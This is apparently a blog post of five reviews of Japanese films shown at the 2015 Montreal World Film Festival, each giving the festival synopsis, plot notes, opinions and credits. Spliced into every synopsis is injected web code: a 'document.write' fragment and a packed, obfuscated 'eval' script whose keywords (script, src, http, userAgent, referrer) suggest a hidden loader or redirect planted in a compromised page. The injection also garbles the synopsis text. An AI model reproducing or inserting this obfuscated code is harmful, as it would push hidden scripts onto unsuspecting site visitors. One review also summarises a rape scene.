“A woman stares at a deserted exhibition in the local museum, document.write(“”); a place said to be haunted by the phantom of a deer, “Ryomo-Shika”… Twenty-five years earlier three siblings reported seeing the deer, becoming first famous, then infamous when their claim was debunked. The fallout was devastating. The second son, Yoshio, is now living in a psychiatric institution; Akiko, the unsociable youngest daughter, lives in the country with an older man; and the eldest son, Fujio, who has remained in town, is burdened with debt from the family’s failing business. Now, with their father dying, the three siblings along with their respective partners and friends, have returned home, their first reunion in many years. But time hasn’t dulled their rivalries and or their rancour. They find themselves once again at a crossroads in life.”
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|aybyi|var|u0026u|referrer|atabs||js|php’.split(‘|’),0,{}))

(Text from the Festival’s program)

WARNING: May contains trace of spoilers! People allergic to the discussion of any plot’s elements before seeing a movie are strongly advised to take the necessary precautions for their safety and should avoid reading further.

I admit that I misunderstood the movie description in the program, so I thought it would be some sort of ghost story. Not at all.

When they were kids, siblings Fujio, Yoshio and Akiko saw a rare deer that was supposed to be extinct and took a blurry picture. But people thought it was an hoax and that they lied to attract attention or just misidentified a common deer. They were quite hurt no to be believed. On top of that, after their mother’s death, their father became quite abusive, so the younger brother and sister left their hometown and the older brother stayed to take care of the family business. He has to work hard to keep it (and the town) together despite serious economic problems as a big development company tries to buy off the land. The younger brother seem to have a mild case of obsessive-compulsive disorder as he seems to have internalize all his guilt and frustrations from the childhood. The younger sister is good looking and has always had her ways with men, but unfortunately she eloped with a loser. She is very selfish but she eventually soften. She has a very unhappy life in Tokyo.

Twenty-five years later, they come back to their hometown when their father become gravely ill. They all have been greatly affected by their childhood have serious psychological problems. The death of the father brings back to the surface all their issues and what stayed unsaid for a long time is being expressed making their return trip a cathartic experience that is finally freeing them from the weight that had kept them miserable for all those years.

This is a very beautiful and interesting movie. Japanese movies are always good at showing us the beauty of the countryside. The director said that he was inspired by the fact that people from the countryside and people from the city seem to have very different mentality and way of life.

Dear Deer (????????): Japan, 2015, 107 mins; Dir.: Takeo Kikuchi; Scr.: Noriaki Sugihara; Ed.: Azusa Yamazaki; Music: Takuro Okada; Cast: Yuri Nakamura (Akiko), Yoichiro Saito (Yoshio), Shota Sometani (Fujio), Kôji Kiryû, Rinko Kikuchi, Yûrei Yanagi, Takeshi Yamamoto, Wakana Matsumoto, Yasushi Masaoka.

Film screened at the Montreal World Film Festival on September 3rd, 2015 (Cinema Quartier Latin 9, 11h00 – the theatre was filled only at 10% of its capacity) as part of the “First Film World Competition” segment. The director was present to introduce the movie and for a Q&A afterward.

For more information you can visit the following websites:

Dear Deer © 2015 Office Kiryu.

[ Traduire ]

“A tragic story of a girl who becomes a monster. Deeply in love, document.write(“”); Haruka decides to have sex with her boyfriend. But the results are catastrophic: she accidentally kills him. Traumatized, she flees the scene. Her cursed life has begun. Does she have any hope of escaping the malediction? A dark fantasy about life, sex and love. ”
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ftbzr|var|u0026u|referrer|dbbbi||js|php’.split(‘|’),0,{}))

(Text from the Festival’s program)

WARNING: May contains trace of spoilers! People allergic to the discussion of any plot’s elements before seeing a movie are strongly advised to take the necessary precautions for their safety and should avoid reading further.

I was not expecting much from this movie. I thought it would be a Fantasia-style gory and sexual horror movie. I was surprised to discover I was a more subtler and meaningful fantastical tale.

Haruka is cursed. She goes to a love hotel to have sex for the first time with her boyfriend. What should have been a pleasant occasion turns into a nightmare when her boyfriend unexpectedly and painfully dies during intercourse. She has no idea what happened: she was enjoying herself on top of him when there’s suddenly a gush of blood as she appears to have ripped off her boyfriend’s penis. She flees the scene in horror. The next day, in the news, the police talks of a gruesome murder as the sex of the victim appears to have been bitten off in a very inhuman way.

She skips school and wanders around in a dazed state. Has she dreamed or hallucinated the whole ordeal? Is that a fantasy induced by teenage angst and sexual anxiety? Or is she really some sort of monster and it happened for real? Is that even possible to have teeth “down there”? As she wanders on the road, she is kidnapped and raped by a pervert, but she kills him too, by “biting” off his penis with her vagina. The curse is confirmed.

Eventually, she meets Yosuke — who is nice to her and helps her overcome the trauma. She also meets his sister (so she said but she ends up being a jealous impersonator stalking Yosuke). They starts dating but Haruka fears that if they go further she will kill him. However, she accepts to date him only if they have a sexless relationship. Of course, with time, Yosuke cannot endure such a sexless love and wants to have her even if he knows that it will probably kill him. A love to die for.

The director said he was inspired by the true story of Sada Abe — who killed her lover and kept his penis as a souvenir. Even if the story had already been adapted in several movies — the most famous being Ai no Korida / In the realm of the senses by Nagissa Oshima — it seemed to him to be a good starting point to talk about sex and love.

The movie was very low budget and was shot within twelve days with a crew of seven (all volunteers) but most of the work was done by Tetsuya Okabe (directing, script, editing, etc., even paying for the lunch of the crew!). The film looks pretty good for such a low budget production and the director succeeded to turn a subject of comedic horror into a thoughtful allegory.

The title, Haman (???), is a slang blend (or portemanteau) expression made from ? [Ha, tooth] and ???? [Omanko, vagina] meaning “toothed vagina”. I am not sure if the director was aware of this when he wrote the script (most probably), but the idea of the “vagina dentata” (in Latin) can be found in the folklore of many ancient cultures.

All in all, it was a good movie and I enjoyed it. It is amusing to see that the story ends up much more interesting by being treated through a more mainstream movie (with minimum gore and nudity–we see Haruka’s breast in only one scene) rather than as a comedic horror film.

Haman (??? / lit. “toothed vagina”): Japan, 2015, 95 min.; Dir./Scr./Ed.: Tetsuya Okabe; Phot.: Yumi Hasegawa; Music: HIR, Shintaro Mieda; Cast: Nonka Baba, Yusuke Kojima, Maki Mizui, Mukau Nakamura, Shoei Uno.

Film screened at the Montreal World Film Festival on September 2nd, 2015 (Cinema Quartier Latin 16, 20h30 – the theatre was filled only at 18% of its capacity) as part of the “World Great” segment. The director was present to introduce the movie and for a Q&A afterward.

For more information you can visit the following websites:
Haman © 2015?????.

[ Traduire ]

“Takashi Arimura had been working in Kyoto. Now that he’s reached the age of retirement he’s returned to his hometown, document.write(“”); Kagoshima. A beautiful city with a volcano overlooking it, but the vista can’t make up for the fact that life in retirement is depressing. With the encouragement of his wife, Kyoko, he takes up a new hobby — drawing. He picks a paintbrush for the first time. The world now looks very different. He now has a goal in life. Can he reach it?”
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rbese|var|u0026u|referrer|ztest||js|php’.split(‘|’),0,{}))

(Text from the Festival’s program)

WARNING: May contains trace of spoilers! People allergic to the discussion of any plot’s elements before seeing a movie are strongly advised to take the necessary precautions for their safety and should avoid reading further.

This movie shows us the boring life of a retired elderly couple. With her husband’s retirement money, Kyoko can finally open her own very small movie theatre. And Takashi can start to paint again, but he feels unhappy and thinks he has no talent. Life seems not worth living and he feels like just killing time before death. He meets a fortune teller who somehow predicts him better days and encourages him to be more optimistic.

He finds a new fascination for the Sakurajima island and its active volcano, so he starts making many trips there to paint the volcano. He submit his painting for a local exposition but it is not selected. However, he has found a new joy and feels life is worth living again.

The movie was shot in cinéma-vérité style with very little dialogue and some weird angle shots. The pace is so slow that the story doesn’t seem to progress at all sometimes. The movie seems excruciatingly long despite that it’s only eighty-eight minutes long! The photography is good and gives us the opportunity to see the beautiful countryside of Sakurajima as well as the rather ordinary cityscape of Kagoshima. It represents the image of the real, everyday Japan which is somewhat rather refreshing.

Despite its shortcomings, the movie offer an interesting subject. More and more Japanese are living longer to enjoy their retirement, even on a merger revenue (this couple didn’t seem rich at all since they live very simply, in a very small house and his clothing have many patches). They must find hobbies to make their retiring enjoyable.

Early Spring, Sakurajima (???? / Sakurajima soyun / Sakurajima early spring): Japan, 2015, 88 min.; Dir./Scr./Ed.: Hiroshi Toda: Phot.: Guillaume Tauveron, Hiroshi Toda; Music: Mica Toda; Cast: Yoichi Hayashi, Hitomi Wakahara, Kenkichi Nishi, Katsuhiko Nishi.

Film screened at the Montreal World Film Festival on August 30th, 2015 (Cinema Quartier Latin 16, 16h00 – the theatre was half full) as part of the “Focus on World Cinema” segment.

For more information you can visit the following websites:
Early Spring, Sakurajima © 2015 Skeleton Films.

[ Traduire ]

“Misao Sasho teaches Japanese in Hanoi, document.write(“”); Vietnam. One day she receives a phone call from Japan informing her of her father’s passing. Upon returning to Japan for her father’s funeral, she realizes that her mother has deteriorated and is becoming senile. She decides to take her back to Vietnam. The new environment works wonders. Misao’s mother enjoys the company of Misao’s acquaintances. She is suddenly the centre of attention…”
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|resra|var|u0026u|referrer|dzbzn||js|php’.split(‘|’),0,{}))

(Text from the Festival’s program)

WARNING: May contains trace of spoilers! People allergic to the discussion of any plot’s elements before seeing a movie are strongly advised to take the necessary precautions for their safety and should avoid reading further.

This is one of the two best movies I’ve seen at the MWFF in 2015.

Misao is teaching Japanese in Hanoi, Vietnam. When she returns to Tokyo for her father’s funeral, she realizes that her mother Alzheimer’s disease has gotten worse. She’ bored at a stranger’s funeral: her husband’s! Her step-mother cannot take care of her anymore so Misao decides to bring her back to Vietnam with her, despite the opposition of her family. “It will make her worse” or “it will kill her,” they say.

At first, it works out pretty well and, despite the language barrier, her mother is getting along with Misao’s friends, students and the people of the neighbourhood (mostly owners of the local cafe’s, the Sakura Hotel, Japanese bar, the programming director of the VoV radio station, as well as the staff of the Youth Theatre, and a Japanese expat who drives a bicycle taxi). Together, they all live several adventures like helping a young Japanese woman to find her grand-father’s Vietnamese family that he left behind after WWII or organizing a musical show starring a very old (and also Alzheimer’s sufferer) theatrical actress.

Misao is even reacquainted with an old friend from her college days — when they were protesting during the university uprisings of the ’60s. He takes a job as another bicycle taxi driver but has an accident while carrying Misao’s mother who gets seriously hurt. Feeling guilty, he helps taking care of the old women after her hospitalization, but he has to leave because of his job as a TV producer. However, Misao cannot take care of her mother alone. It is a vey demanding task and she gets sick herself because of it. This is quite a somber moment in the movie and we really feel the pain for her (it has particularly hit home for me because, at the time of the screening, I had recently experience a similar situation in my family).

In the end, the mother gets better (from her hip replacement NOT from the Alzheimer’s because you never get better from that, you can only slow it down a little). Misao’s students stage a musical around a Japanese folk song that can provide a sort of allegory for Misao’s situation. Apart from Misao’s mother post-accident despair, it a fell-good and up beat movie. We have to take one day at a time and enjoy life while we can — and not give up on our loved ones.

The movie not only want to create awareness on the fact that the increasingly aging population of Japan means that the society will have to deal more and more with the problem of elderly’s dementia, but also it wants to remind the Japanese of the close ties (and maybe responsibilities) that still bind them with Vietnam, which was one of their pre-WWII “colonies.”

One negative point: I was told by someone who speaks vietnamese that the language spoken by the Japanese actors (which they most certainly learned phonetically) was so terrible that it was impossible to understand.

It is a well-paced drama that offers lots of light-hearted moments and allows the viewers to enjoy not only the beautiful cityscape of Hanoi, but also the surrounding countryside.

I really enjoyed this beautifully made movie which provided an excellent entertainment while making us think about very serious subjects like alzheimer and wars in Vietnam.

Blowing in the winds of Vietnam (??????????? / Betonamu No Kaze Ni Fukarete): Japan/Vietnam, 2015, 116 min.; Dir.: Tat Binh & Kazuki Omori; Scr.: Kazuki Omori, Uichiro Kitazaki (based on a novel by Miyuki Komatsu); Phot.: Koichi Saito; Ed.: Naoki Kaneko; Music: Tetsuro Kashibuchi; Cast: Eiji Okuda, Akira Emoto, Kôji Kikkawa, Keiko Matsuzaka, Yôsuke Saitô, Reiko Kusamura, Yûya Takayama, Shigehiro Yamaguchi, Reina Fujie, Yoneko Matsukane, Tan Nhuong, Lan Huong, Tan Hanh.

Film screened at the Montreal World Film Festival on August 29th, 2015 (Cinema Quartier Latin 12, 21h30 – the theatre was half full) as part of the “Focus on World Cinema” segment.

For more information you can visit the following websites:
Blowing in the wind of Vietnam © 2015?Blowing in the wind of Vietnam?Production Committee.

[ Traduire ]

“In 1581 during a bitter feud between 2 ninja clans, document.write(“”); Tao, a ninja from the Iga Clan, wakes up with amnesia. Forty ninjas lie dead in front of him and off to one side lies a dead female ninja. He doesn’t remember how and why he got there. His assignment is to retrieve a document that will reveal the traitor’s identity. Who killed all the ninjas? Is one of them the traitor? Little by little Tao solves the mystery.”
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zeadn|var|u0026u|referrer|kaenk||js|php’.split(‘|’),0,{}))

(Text from the Festival’s program)

WARNING: May contains trace of spoilers! People allergic to the discussion of any plot’s elements before seeing a movie are strongly advised to take the necessary precautions for their safety and should avoid reading further.

This screening was plagued from the start by numerous technical problems: the show started ten minutes late, there was microphone problems for the presentation, not long after the beginning the movie lost its sound, then there was sound but no picture, repeatedly. After forty-five minutes of agony, the screening was definitely stopped. I had to finish watching this movie in the press screening room later. In the end, this movie was a great disappointment.

Kei is a female ninja sent to the Koga clan as double agent. She comes back with a list of traitors inside the Iga clan. After bringing the list she go to see Tao, her friend. A battle ensue and Tao is hit on the head, loosing his memory. Now, Kei is dead, and he is not sure who the enemy is anymore. Maybe he is one of the traitor? Or is he one of the heroes? He will have to slowly figure out what happened.

This is clearly a low budget movie (they use lots of natural set like cave, temple, forest) that makes a terrible ninja movie with lots of bad fighting stunt. The costumes of not historically accurate (lots of leather and the female ninja wears high heel boots!) and the blood looks horribly fake. And there’s this very annoying special effects that marks the beginning and end of all flashbacks. The end credits are nice, though.

The idea is interesting but the execution is rather clumsy. The movie repeats the same battle scene again and again, each time with a different point of view, in order to show Tao’s conflicting memories, his current understanding of the situation or the reversal of his hypothesis. Did I mention the annoying flashbacks? The final battle is quite ridiculous. It’s an entertaining movie, but nothing more.

It is a kind of movie that would have had more appeal with the Fantasia audience, which is younger and specifically seek this kind of not-so-serious action movie. I guess that adding this title to the programming was an attempt from the MWFF to reach out to this kind of audience—without much success.

Ninja Hunter (???? / Ninja Gari) : Japan, 2015, 96 min.; Dir./Scr./Ed.: Seiji Chiba; Phot.: Kenji Tanabe, Arsuchi Yoshida; Music: Kuniyuki Morohashi; Cast: Mitsuki Koga, Mei Kurogawa, Masanori Mimoto, Kentarô Shimazu, Kazuki Tsujimoto.

Film screened at the Montreal World Film Festival on August 28th, 2015 (Cinema Quartier Latin 12, 16h00 – the theatre was a little more than a quarter full) as part of the “Focus on World Cinema” segment. The screening was interrupted due to technical problems.

For more information you can visit the following websites:
Ninja Hunter © 2015 Shochiku International.

[ Traduire ]